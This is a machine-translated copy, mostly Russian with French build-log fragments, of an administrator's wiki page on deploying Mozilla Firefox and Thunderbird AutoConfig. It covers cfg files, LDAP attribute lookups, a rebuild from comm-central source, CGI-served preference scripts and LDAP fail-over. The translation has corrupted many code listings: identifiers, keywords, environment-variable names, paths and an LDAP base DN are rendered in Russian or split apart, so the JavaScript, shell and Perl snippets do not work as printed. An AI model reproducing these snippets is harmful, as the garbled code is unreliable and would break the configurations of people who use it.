Тем не менее, «autoconfig» все еще может работать в Firefox 22, если его не существует, вам придется вручную создать ветвь каталога, чтобы установить ff-autoconfig.js в defaults/preferences/:

- -
[root@calaz firefox]# mkdir -p defaults/preferences/ 
-
-[root@calaz firefox]# cat defaults/preferences/ff-autoconf.js
-// autoconfig jehan
-pref('general.config.obscure_value', 0);
-pref('general.config.filename', 'firefox.cfg');
-
- -

затем укажите наш набор предпочтений для Firefox в firefox.cfg, как указано выше в ff-autoconf.js.

- -
[root@calaz firefox]# cat firefox.cfg
-//put everything in a try/catch
-try {
-//Privacy & Security
-defaultPref("signon.rememberSignons", false);
-
-//Proxy and cache, as it is on NFS volume, we don't want cache
-lockPref("browser.cache.disk.capacity", 0);
-lockPref("network.cookie.cookieBehavior", 0);
-defaultPref("network.proxy.autoconfig_url", "http://wpad.int-evry.fr/wpad.dat");
-defaultPref("network.proxy.type", 2);
-lockPref("network.protocol-handler.app.mailto", "/usr/bin/thunderbird");
-
-//Firefox3 urlclassifier3.sqlite IOwait/CPU pb
-//http://forums.mozillazine.org/viewtopic.php?p=3381133#3381133
-defaultPref("browser.safebrowsing.enabled", false);
-defaultPref("browser.safebrowsing.malware.enabled", false);
-
-// 1) env variables
-if(getenv("USER") != "") {
-   // *NIX settings
-   var env_user    = getenv("USER");
-   var env_home    = getenv("HOME");
- } else {
-   // Windows settings
-   var env_user    = getenv("USERNAME");
-   var env_home    = getenv("HOMEPATH");
- }
-  var env_mozdebug= getenv("MOZILLA_DEBUG");
-
-// 2) define here (because if set after "3)" below it doesn't work !) processLDAPValues which is eventually called by getLDAPAttributes() just below,
-// check getLDAPAttributes() code from $MOZILLA_HOME/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processLDAPValues
-
- -


- /* Commented all this section about ldap calls, not supported in FF5 packages :-(

- -


- function processLDAPValues (values) {
-  if(values) {
-       // set the global var with the values returned from the LDAP query
-       ldap_values = values;
-     var uid = getLDAPValue ( values ,"uid" );
-     var cn = getLDAPValue ( values ,"cn" );
-     var mail = getLDAPValue ( values ,"mail" );
-     var URL =  getLDAPValue ( values ,"labeledURI" );
- //Debug with popup error messages doesn't work anymore :-( !!
- var env_mozdebug= getenv("MOZILLA_DEBUG");
- if (env_mozdebug) {displayError("NO ERROR , just a debug, cn =" + cn + " and mail = " + mail + " ,labeledURI=" + URL ); }
- //if (env_mozdebug) {displayError("NO ERROR , just a test, cn =" + cn + " and mail = " + mail); }
- //lockPref("browser.startup.homepage", URL );
- lockPref("browser.startup.homepage", http://gaspar.it-sudparis.eu );
-     }
-   }
- */
- if (env_mozdebug) {displayError("NO ERROR ,s2ia debug v1.1 just a test, user =" + env_user); }
- lockPref("browser.startup.homepage", "http://gaspar.it-sudparis.eu" );
- // 3) Call Ldap servers to get Ldap Attributes (mail & cn) , this will finally call processLDAPValues , "2)" just above.
- // getLDAPAttributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeledURI");
-
- // Close the try, and call the catch()
- } catch(e) {displayError("lockedPref", e);}

- -

если вызов Ldap раскомментирован в файле настроек выше, тогда я получаю всплывающее окно с:

- -

Ошибка Netscape.cfg / AutoConfig. Пожалуйста, обратитесь к системному администратору.
-  Ошибка: getLDAPAttibutes не удалось: [Исключение ... "Не удалось преобразовать аргумент JavaScript arg 0 [nsISupports.QueryInterface]" nsresult: "0x80570009 (NS_ERROR_XPC_BAD_CONVERT_JS)" location: "JS frame :: prefcalls.js :: getLDAPAttributes :: line 177" данные: нет]

- -

Поддержка AutoConfig (pref) и LDAP в пакетах

- -
Добавить поддержку LDAP в Firefox 1.5
- -

По меньшей мере, от Firefox 1.5, AutoConfig скомпилирован по умолчанию (cf. browser MOZ_EXTENSIONS_DEFAULT="pref..."), но не LDAP ( MOZ_LDAP_XPCOM=1). Вам нужно перекомпилировать пакет, чтобы получить его, ср. ошибка 295329.

- -
Добавьте поддержку AutoConfig и LDAP в Firefox 1.0.x
- -

Добавьте pref extension ( --enable-extensions=pref) и удалите --disable-ldapиз mozconfigфайла. Можно проверить, как Firefox был скомпилирован, открыв about:buildconfig(не знаете эквивалент для Thunderbird! Как он был скомпилирован?)

- -
о: buildconfig
-
-Построение платформы
-цель
-i686-ПК-Linux-гну
-
-Инструменты сборки
-Флаговые компиляторы версии компилятора
-gcc gcc версия 3.4.3 20050227 (Red Hat 3.4.3-22.fc3) -Wall -W -Wno-unused -Wpointer-arith -Wcast-align -Wno-long-long -pedantic -pthread -pipe
-c ++ gcc версия 3.4.3 20050227 (Red Hat 3.4.3-22.fc3) -fno-rtti -fno-exceptions -Wall -Wconversion -Wpointer-arith -Wcast-align -Woverloaded-virtual -Wsynth -Wno-ctor-dtor -privacy -Wno-non-virtual-dtor -Wno-long-long -pedantic -fshort-wchar -pthread -pipe -I / usr / X11R6 / include
-
-Настроить аргументы
---disable-mailnews --enable-extensions = cookie, xml-rpc, xmlextras, pref, transformiix, universalchardet, webservices, инспектор, gnomevfs, negotiateauth --enable-crypto --disable-composer --enable-single-profile - -disable-profilesharing --with-system-jpeg --with-system-zlib --with-system-png --with-pthreads --disable-tests --disable-jsd --disable-installer '--enable- optimize = -Os -g -pipe -m32 -march = i386 -mtune = pentium4 '--enable-xft --enable-xinerama --enable-default-toolkit = gtk2 --enable-official-branding --disable-xprint --disable-strip -enable-pango 
-
- -

autoconf.js

- -
[root @ b008-02 /usr/lib/firefox-1.5.0.2]
-$ tail -4 greprefs/autoconf.js
-// AutoConfig jehan
-pref('general.config.obscure_value', 0);
-pref('general.config.filename', 'firefox.cfg');
-
- -

firefox.cfg

- -

This file will set the browser home page to the labeledURI page defined in the user's LDAP entry, hence it checks that both AutoConfig + LDAP work fine.

- -
[root@b008-02 /usr/lib/firefox-1.5.0.2]
-$cat firefox.cfg
-//put everything in a try/catch
-try {
-
-//Privacy & Security
-defaultPref("signon.rememberSignons", false);
-
-// 1) env variables
-if(getenv("USER") != "") {
-  // *NIX settings
-  var env_user = getenv("USER");
-  var env_home = getenv("HOME");
-} else {
-  // Windows settings
-  var env_user = getenv("USERNAME");
-  var env_home = getenv("HOMEPATH");
-}
-var env_mozdebug = getenv("MOZILLA_DEBUG");
-
-/* 2) define here (because if set after "3)" below it doesn't work!) processLDAPValues which is eventually called by getLDAPAttributes() just below,
- check getLDAPAttributes() code from $MOZILLA_HOME/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processLDAPValues
-*/
-function processLDAPValues(values) {
-  if(values) {
-    // set the global var with the values returned from the LDAP query
-    ldap_values = values;
-    var uid = getLDAPValue(values, "uid");
-    var cn = getLDAPValue(values, "cn");
-    var mail = getLDAPValue(values, "mail");
-    var URL = getLDAPValue(values, "labeledURI");
-//Debug with popup error messages doesn't work anymore :-( !!
-var env_mozdebug= getenv("MOZILLA_DEBUG");
-if (env_mozdebug) {displayError("NO ERROR, just a debug, cn =" + cn + " and mail = " + mail + ", labeledURI= " + URL); }
-lockPref("browser.startup.homepage", URL);
-    }
-  }
-
-//lockPref("browser.startup.homepage", "http://www.renater.fr/");
-// 3) Call LDAP servers to get LDAP Attributes (mail & cn), this will finally call processLDAPValues, "2)" just above.
-  getLDAPAttributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeledURI");
-
-// Close the try, and call the catch()
-} catch(e) {displayError("lockedPref", e);}
-
- -

Debug

- -

If you set a username and the MOZILLA_DEBUG variable ($export MOZILLA_DEBUG=1; export USER=procacci), then the displayError() will show you this popup:

- -

Изображение: Mozilla-автонастройки-en001.png

- -

That's a popup titled as "error", but it's just a debug tool for me as I didn't find any other way to popup information. cf. bug 206294:

- -
 ------- Comment #14 From Daniel Wang 2003-11-06 09:06 PDT [reply] -------
-
-Jehan Procaccia, you need to change 5.8 to reflect what I said in comment 21.
-
-Preference files and config files are special JavaScript files with limited scopes. They
-can only call the get/set pref/env methods and have no access to other objects
-(need to investigate what exactly are allowed). alert() is a method of the
-Window object.
-
- -

cf. also related post in Newsgroups: mozilla.dev.tech.js-engine

- -
Date: Wed, 17 May 2006 19:06:28 +0200
-From: jehan procaccia <jehan.procaccia@int-evry.fr>
-
-Newsgroups: mozilla.dev.tech.js-engine
-Subject: scope of js file functions in Frefox/Thunderbird AutoConfig context
-
- -

Firefox 2.x

- -

Recently (2007/03/20), I've tested autoconfig support in Firefox 2.0.0.2 on a Linux fedora. Autoconfig works fine, but ldap calls are still unavailable in Firefox (as it was the case in Firefox 1.x, but fortunatly not the case for Thunderbird !). That "bug" report is then still up to date!: bug 295329

- -
$ cat /etc/redhat-release
-Fedora Core release 6 (Zod)
-
-$ rpm -qi firefox
-Name        : firefox                      Relocations: (not relocatable)
-Version     : 2.0.0.2                           Vendor: Remi Collet
-Release     : 1.fc6.remi                    Build Date: Sat 24 Feb 2007 01:45:37 PM CET
-Install Date: Tue 20 Mar 2007 02:47:27 PM CET      Build Host: remi.famillecollet.com
-Packager    : http://remi.collet.free.fr/
-
- -

References

- -

Other Documents About AutoConfig

- -

http://mit.edu/~firefox/www/maintain...utoconfig.html

- -

http://www.alain.knaff.lu/howto/Mozi...ion/index.html
- http://thegoldenear.org/toolbox/wind...re-config.html
- http://ilias.ca/blog/2005/03/locking...efox-settings/

- -

Compile on Windows:
- http://forums.mozillazine.org/viewtopic.php?t=276014

- -

http://www.mozilla.org/community/dev...er-forums.html
- http://forums.mozillazine.org/viewto...config#2090731
- http://forums.mozillazine.org/viewto...config#1354355
- http://forums.mozillazine.org/viewto...toconfig#32783

- - - -

bug 295329
- bug 222973
- bug 225288
- bug 178685
- bug 272970
- bug 206294
- bug 302096

- -

bug 502597

- -

bug 674261

- - - - - -

Thunderbird Comm-central_source_code_ (Mercurial)

- -
 Ниже приведен метод построения из источников в случае отсутствия какой-либо функции в публичных пакетах
- -

на основе ошибки 295329, поскольку TB 3.0.X autoconfig больше не работает.

- -

согласно обсуждению в  mozilla.dev.apps.thunderbird , изменение от CVS до Mercurial и недавние изменения кода nsLDAPURL могут иметь borken autoconfig. ниже мы начинаем отлаживать это, перестраивая thunderbird из Comm-central-source-code (mercurial) .

- -

строить

- -
установить меркуриальные инструменты
- -
[root@b008-02 ~]# yum install mercurial
-
-Установлен:
-  mercurial.i586 0: 1.2.1-1.fc11
-
- -
проверить инструменты слияния в
- -
[root@b008-02 ~]# vim /etc/mercurial/hgrc.d/mergetools.rc
- -
 получить источник comm-central
- -
[root @ b008-02 Moz] # время hg clone http://hg.mozilla.org/comm-central/ commsrc
-запрос всех изменений
-добавление наборов изменений
-добавление манифеста
-добавление изменений файла
-добавлено 2975 наборов изменений с 16793 изменением на 7117 файлов (+3 голов)
-обновление рабочего каталога
-Обновлено 5644 файлов, 0 файлов объединены, удалено 0 файлов, 0 файлов не разрешены
-
-реальный 0m40.771s
-пользователь 0m9.284s
-sys 0m1.304s
- -
[root @ b008-02 commsrc] # python client.py checkout
-Выполнение команды: ['hg', 'pull', '-R', './.', '-r', 'tip']
-вытягивание из http://hg.mozilla.org/comm-central/
-поиск изменений
-изменений не найдено
-Выполнение команды: ['hg', 'update', '-r', 'default', '-R', './.']
-0 файлов обновлено, 0 файлов объединены, удалено 0 файлов, 0 файлов не разрешены
-Обновлено до версии c10119db13cad9797b05750bfe18a57261a88922.
-Выполнение команды: ['hg', 'clone', 'http://hg.mozilla.org/releases/mozilla-1.9.1/', './mozilla']
-запрос всех изменений
-добавление наборов изменений
-...
-Исполняющая команда: ['hg', 'update', '-r', 'default', '-R', './mozilla/extensions/inspector']
-0 файлов обновлено, 0 файлов объединены, удалено 0 файлов, 0 файлов не разрешены
-Updated to revision 51c6d483a4c15a657df18540219bd0201896c6f2.
-CVS checkout begin: 2009-06-30 10:28:31 UTC
-Executing command: ['cvs', '-d', ':pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot', '-q', 'checkout', '-P', '-r', 'LDAPCSDK_6_0_6B_MOZILLA_RTM', '-d', 'c-sdk', 'mozilla/directory/c-sdk']
-U c-sdk/.cvsignore
-U c-sdk/Makefile.in
-...
-updating working directory
-163 files updated, 0 files merged, 0 files removed, 0 files unresolved
-Executing command: ['hg', 'update', '-r', 'default', '-R', './mozilla/extensions/venkman']
-0 files updated, 0 files merged, 0 files removed, 0 files unresolved
-Updated to revision 06ea5135b7f3c9a639c483183ceb9802abee621b.
-
- -

 Build Thunderbird

- -
prepare compile options
- -
[root@b008-02 commsrc]# cp ./mozilla/browser/config/mozconfig .mozconfig
-[root@b008-02 commsrc]# cat .mozconfig 
-mk_add_options AUTOCONF = autoconf-2.13
-ac_add_options --enable-application = mail
-ac_add_options --prefix = "/usr/local/thunderbirdDebug"
-ac_add_options --libdir = "/usr/local/thunderbirdDebugLibs"
-ac_add_options --enable-extensions = pref
-ac_add_options --enable-static
-ac_add_options --disable-shared
-ac_add_options --disable-crashreporter
-
-
- -

опция --disable-crashreporter необходима, если вы получаете ошибку компиляции на этом этапе сборки

- -
gmake [7]: вход в каталог
-`/USR/местные/Moz2/commsrc/Mozilla/инструментарий/CrashReporter/Google-breakpad/SRC/общий/Linux»
-dump_symbols.cc
-
- -
строить
- -

затем начните строительство

- -
[root @ b008-02 commsrc] # время make -f client.mk build
-rm -f ../../mozilla/dist/bin/TestCookie
-если test -f ../../mozilla/dist/bin/TestTArray; 
-затем cp ../../mozilla/dist/bin/TestTArray ../../mozilla/dist/bin/TestCookie; Fi;
-gmake [5]: quittant le rà © pertoire «/ usr/local/Moz/commsrc/mail/app»
-gmake [4]: ​​quittant le rà © pertoire «/usr/local/Moz/commsrc/mail»
-gmake [3]: quittant le rà © pertoire «/usr/local/Moz/commsrc»
-gmake [2]: quittant le rà © pertoire «/usr/local/Moz/commsrc»
-make [1]: quittant le rà © pertoire «/usr/local/Moz/commsrc»
-
-реальный 23m33.845s
-пользователь 20m34.356s
-sys 1m49.752s
-
-
- -
устанавливать
- -

Затем установите (--enable-static и -disable-shared, необходимые в .mozconfig!)

- -
[root@b008-02 commsrc]# make install -n
-/usr/bin/gmake -C mail/installer install
-gmake [1]: абитуриент dans le répertoire «/ usr / local / Moz / commsrc / mail / installer»
-rm -rf ../../mozilla/dist/thunderbird ../../mozilla/dist/thunderbird-3.0b3pre.en-US.linux-i686.tar ../../mozilla/dist/thunderbird- 3.0b3pre.en-US.linux-i686.dmg stage-package 
-echo "Создание каталога пакетов ..."
-...
-/ usr / local / Moz / commsrc / mozilla / config / nsinstall -D / usr / local / thunderbirdDebug / bin
-rm -f -f / usr / local / thunderbirdDebug / bin / thunderbird
-ln -s /usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/thunderbird / usr / local / thunderbirdDebug / bin
-gmake [1]: quittant le répertoire «/ usr / local / Moz / commsrc / mail / installer»
-
-[root @ b008-02 commsrc] # ls -l /usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/ | grep ^ d
-drwxr-xr-x 3 корень root 4096 juil. 2 10:45 хром
-drwxr-xr-x 2 корень корня 12288 juil. 2 10:45 компоненты
-drwxr-xr-x 6 корень корня 4096 juil. 1 10:24 defaults
-drwxr-xr-x 2 корень root 4096 juil. 2 10:45 словари
-drwxr-xr-x 3 корень root 4096 juil. 1 10:24 расширения
-drwxr-xr-x 2 корень root 4096 juil. 2 10:27 greprefs
-drwxr-xr-x 2 корень root 4096 juil. 1 10:18 иконки
-drwxr-xr-x 3 корень root 4096 juil. 2 10:45 isp
-drwxr-xr-x 4 корень root 4096 juil. 2 10:45 модулей
-drwxr-xr-x 2 корень root 4096 juil. 2 10:45 OutTestData
-drwxr-xr-x 6 корень корня 4096 juil. 2 10:45 res
-[root@b008-02 commsrc]# ls -l /usr/local/thunderbirdDebug/bin/
-всего 4
-lrwxrwxrwx 1 корень root 64 juil. 2 10:45 thunderbird -> /usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/thunderbird
-
-[root@b008-02 thunderbirdDebugLibs]# найти /usr/local/thunderbirdDebugLibs/ -name prefcalls.js
-/usr/local/thunderbirdDebugLibs/thunderbird-3.0b3pre/defaults/autoconfig/prefcalls.js
-
-
- -

Старый Mozilla 1.x, возможно, Netscape 6/7

- -
Ниже для записи ... он также содержит интересную функцию, которую я больше не использовал -> AutoConfig с веб-сервера!
- -

изменения

- -

В период с 2002 по 2003 год нам нужно было обновить старую версию Netscape 4.x (4.79) до Mozilla 1.x (1.4), а теперь (2004-2005) Mozilla 1.7. Подсистема AutoConfiguration совершенно такая же, как описано в разделе «старый» Netscape 4.x, но также немного отличается.

- -

Новые возможности Mozilla для Netscape

- -

In Mozilla, we don't use the convert function from Netscape 4.5 CCK anymore, but moz-byteshift.pl Perl script, to encode mozilla.cfg file.

- -

The use of the getLDAPAttributes() function by calling inside itself the processLDAPValues() as a user defined function (see prefcalls.js) forces us to slightly change these calls in our original web CGI JavaScript (here mci-mozilla-glob-prefs-tux.cgi). The variables generated (mail, cn, uid) are defined only inside the processLDAPValues() function, that explains why lockPref related to these variables are located inside that function. I also couldn't use the alert() function anymore, so I changed to displayerror() function!

- -

Locating The File on a Web Server

- -

That was the case in the Netscape 4.x description below, however, at first it was a hard thing to do in Mozilla, cf. bug 206294. So now you only need to create a small encoded cfg file making a call to a web located CGI script which will actually generate the JavaScript configuration directives to the Mozilla client. Hence you can change all of your Mozilla clients preferences by simply modifying a single file on a web server, great!

- -
Call File
- -

This file calls a CGI on a web server, the CGI generating the JavaScript code that will set preferences. Here the vendor name (mci-mozilla-web-tux) must match the name of the cfg file (mci-mozilla-web-tux.cfg).

- -
$ cat mci-mozilla-web-tux.js
-lockPref("general.config.vendor", "mci-mozilla-web-tux");
-lockPref( "autoadmin.global_config_url", "http://corbeau.int-evry.fr/cgi-bin/mci-mozilla-glob-prefs-tux.cgi");
-
- -

Кодирование файла mozilla.js для файла mozilla.cfg

- -

Просто используйте moz-byteshift.plPerl-скрипт, который для Mozilla 1.x и Netscape 6/7 использует сдвиг 13, в Netscape 4.x это было 7.

- -
$ more moz-byteshift.pl
-#! / USR / бен / Perl
- 
-# Байт-сменная программа для файлов netscape.cfg Mozilla
- 
-# Старый Netscape 4.x использует байтовый сдвиг 7
-# Для декодирования: moz-byteshift.pl -s -7 <netscape.cfg> netscape.cfg.txt
-# Для кодирования: moz-byteshift.pl -s 7 <netscape.cfg.txt> netscape.cfg
- 
-# Mozilla использует байтовый сдвиг 13
-# Для декодирования: moz-byteshift.pl -s -13 <netscape.cfg> netscape.cfg.txt
-# Для кодирования: moz-byteshift.pl -s 13 <netscape.cfg.txt> netscape.cfg
- 
-# Чтобы активировать файл netscape.cfg, поместите закодированный файл netscape.cfg
-# в каталог C:\Program Files\mozilla.org\Mozilla.
-# Затем добавьте следующую строку в свою
-# C:\Program Files\ mozilla.org\Mozilla\defaults\pref\autoconf.js файл:
-# pref("general.config.filename", "mozilla.cfg");
-...
-
-$ ./moz-byteshift.pl -s 13 <mci-mozilla-web-tux.js> mci-mozilla-web-tux.cfg
-
- -

Местоположение mci-mozilla-web-tux.cfg

- -

Расположение netscape.cfg(здесь переименовано mci-mozilla-web-tux.cfg) и способ его вызова отличается от старого Netscape 4.x. Это местоположение находится в MOZILLA_HOME ; c:\program files\mozilla.org\mozillaWindows или /usr/lib/mozilla-1.7-3/Linux Fedora.

- -

Вызовите mci-mozilla-web-tux.cfg

- -

Способ вызвать это через autoconf.jsфайл, добавив в конце:

- -
$ tail -2 /usr/lib/mozilla-1.7-3/defaults/pref/autoconf.js
-pref("general.config.filename", "mci-mozilla-web-tux.cfg");
-pref("general.config.vendor", "mci-mozilla-web-tux");
-
- -

Веб-база CGI JavaScript-файл генератора настроек

- -
[root@corbeau /var/www/cgi-bin]
-$ cat mci-mozilla-glob-prefs-tux.cgi
-#! /usr/bin/perl -w
-
-print («Content-type: application / javascript-config \ n \ n»);
-$ page = <<"EOP";
- 
-try {
-  var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");
-  var env_home = getenv("HOME");
-  var env_mozdebug = getenv("MOZILLA_DEBUG");
-  function processLDAPValues(значения) {
-    var uid = getLDAPValue(значения, "uid");
-    var cn = getLDAPValue(значения, "cn");
-    var mail = getLDAPValue(значения, «почта»);
-    lockPref("mail.server.server1.name", mail);
-    lockPref("mail.identity.id1.fullName", cn);
-    lockPref("mail.identity.id1.useremail", mail);
-
-  if (env_mozdebug) {
-    displayError("debug mozilla.cfg v2.8", "mail:" + mail + "uid:" + uid + "cn" + cn + "user:" + env_user);
-  }
-}
-//BROWSER
-/*defaultPref("startup.homepage_override_url", "http://www.int-evry.fr/mci/user/");
-lockPref("browser.startup.homepage_override", true);
-lockPref("browser.startup.page", 1);
-defaultPref("browser.startup.homepage", "http://www.int-evry.fr/mci/user/");
-*/
-lockPref("browser.startup.homepage", "http://www.int-evry.fr/mci/user/");
-lockPref("browser.startup.homepage_override", true);
-lockPref("general.config.vendor", "mci-mozilla-web-tux");
-lockPref("startup.homepage_override_url", "http://www.int-evry.fr/mci/user/");
-lockPref("browser.cache.disk.capacity", 0);
-lockPref("network.cookie.cookieBehavior", 0);
-lockPref("network.proxy.autoconfig_url", "http://www.int-evry.fr/local/config.proxy");
-lockPref("network.proxy.type", 2);
-
-//Account
-lockPref("mail.account.account1.identities", "id1");
-lockPref("mail.account.account1.server", "server1");
-lockPref("mail.account.account2.server", "server2");
-lockPref("mail.account.account3.server", "server3");
-lockPref("mail.accountmanager.accounts", "account1,account2,account3");
-lockPref("mail.accountmanager.defaultaccount", "account1");
-
-//IMAP
-lockPref("mail.server.server1.hostname", "imap-int.int-evry.fr");
-lockPref("mail.server.server1.type", "imap");
-lockPref("mail.server.server1.login_at_startup", true);
-lockPref("mail.identity.id1.draft_folder", "imap://" + env_user + "@imap-int.int-evry.fr/Drafts");
-lockPref("mail.identity.id1.drafts_folder_picker_mode", "0");
-lockPref("mail.identity.id1.fcc_folder", "imap://" + env_user + "@imap-int.int-evry.fr/Sent");
-lockPref("mail.identity.id1.fcc_folder_picker_mode", "0");
-lockPref("mail.identity.id1.stationery_folder", "imap://" + env_user + "@imap-int.int-evry.fr/Templates");
-lockPref("mail.identity.id1.tmpl_folder_picker_mode", "0");
-lockPref("mail.identity.id1.valid", true);
-lockPref("mail.identity.id1.overrideGlobal_Pref", true);
-lockPref("mail.server.server1.download_on_biff", true);
-lockPref("mail.server.server1.login_at_startup", true);
-lockPref("mail.server.server1.userName", env_user);
-lockPref("mail.server.server1.delete_model", 0);
-
-//SMTP
-lockPref("mail.identity.id1.smtpServer", "smtp1");
-defaultPref("mail.smtpserver.smtp1.auth_method", 0);
-lockPref("mail.smtpservers", "smtp1");
-lockPref("mail.smtpservers", "smtp1");
-lockPref("mail.smtp.defaultserver", "smtp1");
-lockPref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr");
-lockPref("mail.identity.id1.organization", "INT Evry France");
-lockPref("mail.startup.enabledMailCheckOnce", true);
-lockPref("mail.ui.folderpane.version", 3);
-lockPref("mailnews.ui.threadpane.version", 2);
-
-//LDAP config
-lockPref("mail.identity.id1.directoryServer", "ldap_2.servers.ldapint");
-lockPref("ldap_2.prefs_migrated", true);
-lockPref("ldap_2.servers.history.filename", "history.mab");
-lockPref("ldap_2.servers.history.replication.lastChangeNumber", 0);
-lockPref("ldap_2.servers.ldapint.auth.savePassword", true);
-lockPref("ldap_2.servers.ldapint.description", "ldap-int");
-lockPref("ldap_2.servers.ldapint.filename", "abook-1.mab");
-lockPref("ldap_2.servers.ldapint.position", 3);
-lockPref("ldap_2.servers.ldapint.uri", "ldap://ldap1.int-evry.fr:389/ou=people,dc=int-evry,dc=fr??sub");
-lockPref("ldap_2.servers.pab.filename", "abook.mab");
-lockPref("ldap_2.servers.pab.replication.lastChangeNumber", 0);
-
-//News config
-lockPref("mail.server.server3.hostname", "news.int-evry.fr");
-lockPref("mail.server.server3.max_cached_connections", 2);
-lockPref("mail.server.server3.name", "news.int-evry.fr");
-lockPref("mail.server.server3.type", "nntp");
-lockPref("mail.server.server3.userName", env_user);
-
-//Call to ldap to get user's attribute.
-getLDAPAttributes("ldap2.int-evry.fr", "ou=people,dc=int-evry,dc=fr", "uid=" +env_user, "uid,cn,mail");
-
-} catch(e) {
-  displayError("lockedPref", e);
-}
-
-EOP
-print $page;
-
- -

Windows Peculiarities

- -

Without web base CGI file, beware that in Windows, the original (before encoding) mozilla.js file must start with: //BEGIN CE prefs , if not you'll get "failed to read configuration file..." message, and Mozilla won't start :-(

- -

In Windows environment variables like USER or HOME, are USERNAME and HOMEPATH, that's why we must create a different pair of configuration files (cfg and cgi) for both systems (Linux/Windows). Perhaps there's a way in JavaScript to detect operating system and hence use either USER or USERNAME, but I'm not that fluent in JavaScript, let me know if you know how...//

- -
Windows Call File
- -
$ cat mci-mozilla-web-win.js
-lockPref("general.config.vendor", "mci-mozilla-web-win");
-lockPref("autoadmin.global_config_url","http://corbeau.int-evry.fr/cgi-bin/mci-mozilla-glob-prefs-win.cgi");
-
- -
Windows autoconf.js File
- -

To be encoded by moz-byteshift.pl as stated above...

- -
c:\type c:\program files\mozilla.org\mozilla\defaults\pref\autoconf.js
-pref("general.config.filename", "mci-mozilla-web-win.cfg");
-pref("general.config.vendor", "mci-mozilla-web-win");
-
- -
Windows CGI file
- -
$ cat mci-mozilla-glob-prefs-win.cgi
-#!/usr/bin/perl -w
-
-print("Content-type: application/javascript-config\n\n");
-$page = <<"EOP";
-
-try {
-  var env_user = getenv("USERNAME");
-  var env_home = getenv("HOMEPATH");
-  var env_mozdebug= getenv("MOZILLA_DEBUG");
-...
-
- -

Остальная часть файла идентична версии Linux, только переменные среды (var env_ *) отличаются друг от друга!

- -

Проверенные версии

- -

Эта конфигурация была проверена на Linux с помощью Mozilla 1.4, 1.6 и 1.7 и Windows с Mozilla 1.4, 1.5, 1.7.

- -

Отладка - Bugzilla

- -

Сообщения о времени выполнения

- -

Примечание. Присутствие var env_mozdebug=getenv("MOZILLA_DEBUG")позволяет пользователю печатать отладочные сообщения, если они MOZILLA_DEBUGопределены в оболочке для Unix ( export MOZILLA_DEBUG=1) или в command.comсреде Windows ( set MOZILLA_DEBUG=1).

- -

Ошибка пробела

- -

Я заметил проблему, которая должна быть исправлена ​​в Mozilla 1.8. Я думаю ... Вот отчет и обходной путь: ошибка 229271. Чтобы исправить ошибку, добавьте следующее:

- -
        start_pos + = search_key.length;
-//Начало 
-        start_pos + = 1;
-//конец
-
- -

функционировать getLDAPValue()в autoconfig/preffcalls.js.

- -

Документация

- -

Я также открыл отчет о недостатке документации ошибка 178685, который привел к замечательному документу: http://wangrepublic.org/daniel/mozilla/prefs/

- -

defeultPref для домашней страницы

- -

Я не могу установить домашнюю страницу с помощью defaultPrefфункции, поэтому она устанавливается по умолчанию, но позволяет пользователю изменять ее! Обнаружена ошибка, см. ошибка 272970.

- -

Правильный доступ greprefs

- -

Остерегайтесь также в Linux, что MOZILLA_HOME/greprefsкаталог по умолчанию закрыт для пользователей, а затем AutoConfig работает некорректно, я открыл ошибку: ошибка 270623. Обходной путь chmod 755 greprefs!

- -

Файл конфигурации базы данных CGI

- -

Возникла проблема с использованием autoadmin.global_config_url, см. ошибка 206294.

- -

Почтовые папки

- -

Implementing that solution, we encounter difficulties with mail folder. Our first idea was to use local mail folders from home directory of the current user. In Unix that would have been $HOME/nsmail/..., in Windows it would have been a Samba mount of that same Unix path (ex: U:\nsmail ; with U: = Samba mount: \\samba-server\%USERNAME). Unfortunately file system writes and/or mail format differs between Windows and Unix, and folders soon become unreadable or even corrupted when read/written from one system to the other.

- -

That's why we finally decided to use IMAP, and hence IMAP folders. By migrating from University of Washington IMAP server to Cyrus IMAP we also inherited some interesting features like quotas, share folders, ACL, mail only account (no need for /etc/passwd entry!) much better performances, etc...

- -

Reliability

- -

Fail-over and Uniqueness

- -

A contribution from Roberto Aguilar gives the Mozilla AutoConfig JavaScript a way to search through different LDAP replicas in case one LDAP server is down.

- -

It also allows users to use a single JavaScript for both systems (Linux and Windows) with a subtle if... else test on environment variables.

- -

LDAP fail-over

- -

Creating an array of possible running LDAP servers permits an LDAP fail-over, then a shuffle function allows us to randomly pick up a running LDAP server.

- -

The shuffle function comes from here: http://www.mickweb.com/javascript/ar...reshuffle.html

- -

Before publishing the code changes, please add this right before the shuffle function:

- -
 /**
-  * setup the shuffle method for an array, from Mickweb Script
-  * Factory at:
-  * http://www.mickweb.com/javascript/arrays/pureshuffle.html
-  */
-
- -

Вот как работает отказ LDAP:

- -
// 2) установить несколько серверов LDAP для отказа
-  var ldap_values;
-  var ldap_servers = new Array('ldap2.int-evry.fr',
-                      'Ldap1.int-evry.fr',
-                      'Openldap.int-evry.fr'
-                      );
-  // Shuffle функция для рандомизации массива сервера
-  // настройка метода shuffle для массива
-  Array.prototype.shuffle = function(times) {
-    var i, j, t, l = this.length;
-    while (times--) {
-      с (Math) {
-    i = пол(random() * l);
-    j = пол(random() * l);
-      }
-      t = это[i];
-      это[i] = this[j];
-      это[j] = t;
-    }
-    верните это;
-  }
- // смешиваем серверы LDAP, чтобы мы не попадали в один и тот же каждый раз
-  ldap_servers.shuffle (10);
-....
-// 4) Вызовите LDAP-серверы для получения атрибутов LDAP (mail & cn), это, наконец, вызовет processLDAPValues, «3» «чуть выше».
-// Перейдите в список реплик LDAP
-для (i = 0; i <ldap_servers.length; i++) {
-// Поиск почты атрибута и cn через LDAP-серверы, где uid = $ USER | $ USERNAME
-  getLDAPAttributes(ldap_servers [I],
-       "НУ = люди, DC = INT-Эври, DC = пт",
-       "uid =" + env_user,
-       "UID, сп, почта");
-    // Если мы поймаем запущенный сервер LDAP, выйдите из цикла,
-    if (ldap_values) {
-      run_ldap_server = ldap_servers [i];
